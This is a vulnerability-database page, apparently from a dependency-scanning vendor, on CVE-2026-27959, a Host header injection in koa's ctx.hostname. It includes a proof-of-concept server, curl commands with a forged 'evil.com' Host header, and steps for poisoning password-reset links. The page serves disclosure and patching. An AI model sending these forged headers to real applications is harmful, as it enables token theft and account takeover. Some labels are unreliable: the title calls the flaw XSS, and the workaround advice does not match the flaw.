# CVE-2026-27959: koa XSS — Fixed in 3.1.2

📦

📦 npm

Not in CISA KEV

HIGH severity

# CVE-2026-27959 — koa

HIGH [Fix: koajs/koa@55ab9ba](https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df)

CVE-2026-27959 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in koa. A fix is available for koa — see the affected versions and patch details below.

Koa has Host Header Injection via \`ctx.hostname\`

Also known as[GHSA-7gcc-r8m5-44qm](/vulnerability/GHSA-7gcc-r8m5-44qm)

Published

Feb 26, 2026

Updated

Oct 28, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27959.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk

0.00%0.34%0.68%1.02%0.1%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

8Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream

`koa`npm

9.8Mdownloads / week

## Description

### Summary

Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

### Details

The vulnerability exists in Koa's hostname getter in `lib/request.js`:

```
// Koa 2.16.1 - lib/request.js
get hostname() {
  const host = this.host;
  if (!host) return '';
  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
  return host.split(':', 1)[0];
}
```

The `host` getter retrieves the raw header value with HTTP/2 and proxy support:

```
// Koa 2.16.1 - lib/request.js
get host() {
  const proxy = this.app.proxy;
  let host = proxy && this.get('X-Forwarded-Host');
  if (!host) {
    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
    if (!host) host = this.get('Host');
  }
  if (!host) return '';
  return host.split(',')[0].trim();
}
```

#### The Problem

The parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

**RFC 3986 Section 3.2.2** defines the host component as:

```
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="
```

The `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

#### Attack Vector

When an attacker sends:

```
Host: evil.com:fake@legitimate.com:3000
```

Koa parses this as:

API

Returns

Notes

`ctx.get('Host')`

`"evil.com:fake@legitimate.com:3000"`

Raw header

`ctx.hostname`

`"evil.com"`

**Attacker-controlled**

`ctx.host`

`"evil.com:fake@legitimate.com:3000"`

Raw header value

`ctx.origin`

`"http://evil.com:fake@legitimate.com:3000"`

Protocol + malformed host

The `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser.

#### Additional Concern: `ctx.origin`

Koa's `ctx.origin` property concatenates protocol and host without validation:

```
// lib/request.js
get origin() {
  return `${this.protocol}://${this.host}`;
}
```

Applications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

#### HTTP/2 Consideration

Koa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header:

```
if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
```

The same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically.

### PoC

#### Setup

```
// server.js
const Koa = require('koa'); 
const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
  if (ctx.path === '/forgot-password') {
    const resetToken = 'abc123securtoken';
    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;
    
    ctx.body = {
      message: 'Password reset link generated',
      resetUrl: resetUrl,
      debug: {
        rawHost: ctx.get('Host'),
        parsedHostname: ctx.hostname,
        origin: ctx.origin,
        protocol: ctx.protocol
      }
    };
  }
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));
```

#### Exploit

```
curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password
```

#### Result

```
{
  "message": "Password reset link generated",
  "resetUrl": "http://evil.com/reset?token=abc123securtoken",
  "debug": {
    "rawHost": "evil.com:fake@localhost:3000",
    "parsedHostname": "evil.com",
    "origin": "http://evil.com:fake@localhost:3000",
    "protocol": "http"
  }
}
```

The password reset URL points to `evil.com` instead of the legitimate server. In a real attack:

1.  Attacker requests password reset for victim's email with malicious Host header
2.  Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET`
3.  Victim receives email with poisoned link
4.  Victim clicks link, token is sent to attacker's server
5.  Attacker uses token to reset victim's password

#### Additional Test Cases

```
# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"

# With port preservation attempt
curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password  
# Result: hostname = "evil.com"

# Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"
```

#### Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

1.  **No reverse proxy** - Application directly exposed to internet
2.  **Misconfigured proxy** - Proxy doesn't override/validate Host header
3.  **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected
4.  **Default virtual host** - Server is the catch-all for unrecognized Host headers

### Impact

#### Vulnerability Type

-   CWE-20: Improper Input Validation
-   CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

#### Attack Scenarios

**1\. Password Reset Poisoning (High Severity)**

-   Attacker hijacks password reset tokens by poisoning reset URLs
-   Requires victim to click link in email
-   Results in account takeover

**2\. Email Verification Bypass**

-   Attacker poisons email verification links
-   Can verify attacker-controlled email on victim accounts

**3\. OAuth/SSO Callback Manipulation**

-   Applications using `ctx.hostname` for OAuth redirect URIs
-   Attacker redirects OAuth callbacks to malicious server
-   Results in token theft

**4\. Web Cache Poisoning**

-   If responses are cached without Host in cache key
-   Poisoned URLs served to all users
-   Persistent XSS/phishing via cached responses

**5\. Server-Side Request Forgery (SSRF)**

-   Internal routing decisions based on `ctx.hostname`
-   Attacker manipulates which backend receives requests

#### Who Is Impacted

-   **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation
-   **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

## Affected Packages

2 total 2 fixed

Ecosystem

Package

Vulnerable range

Fix

📦npm

`koa` 

≥ 3.0.0&&< 3.1.2

3.1.2`npm install koa@3.1.2`

📦npm

`koa` 

all versions

2.16.4`npm install koa@2.16.4`

## Affected Products

1 product · 2 configurations

Application

`koa`koajs

≥ 3.0.0 && < 3.1.2

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for koa, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update koa to 3.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27959 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
    

## Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Red Hat Product Security considers this issue as High severity. A remote, unauthenticated attacker can send a specially crafted HTTP Host header containing a valid RFC 3986 userinfo component (using the @ delimiter). Due to improper parsing of the authority field in the ctx.hostname API, the application may treat…

Workaround published by Red Hat

> Red Hat is not aware of a practical temporary workaround that fully mitigates this issue or meets Red Hat Product Security's standards for usability, deployment, applicability, or stability. Customers are advised to apply the relevant security updates once they become available.

Source: [Red Hat security advisory for CVE-2026-27959](https://access.redhat.com/security/cve/cve-2026-27959) (CC BY 4.0)

Product

Fixed in

Advisory

Red Hat OpenShift AI 2.25

`rhoai/odh-dashboard-rhel9:1776742021`

[RHSA-2026:10184](https://access.redhat.com/errata/RHSA-2026:10184)

Red Hat OpenShift Container Platform 4.19

`openshift4/ose-monitoring-plugin-rhel9:1775577192`

[RHSA-2026:7249](https://access.redhat.com/errata/RHSA-2026:7249)

## Frequently Asked Questions

\## Summary Koa's \`ctx.hostname\` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a \`@\` symbol (e.g., \`evil.com:fake@legitimate.com\`) is received, \`ctx.hostname\` returns \`evil.com\` - an attacker-controlled value. Applications using \`ctx.hostname\` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. ## Details The vulnerability exists in Koa's hostname gette

O3 Security · Impact-Aware SCA

### Is CVE-2026-27959 in your dependencies?

Find it across npm, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)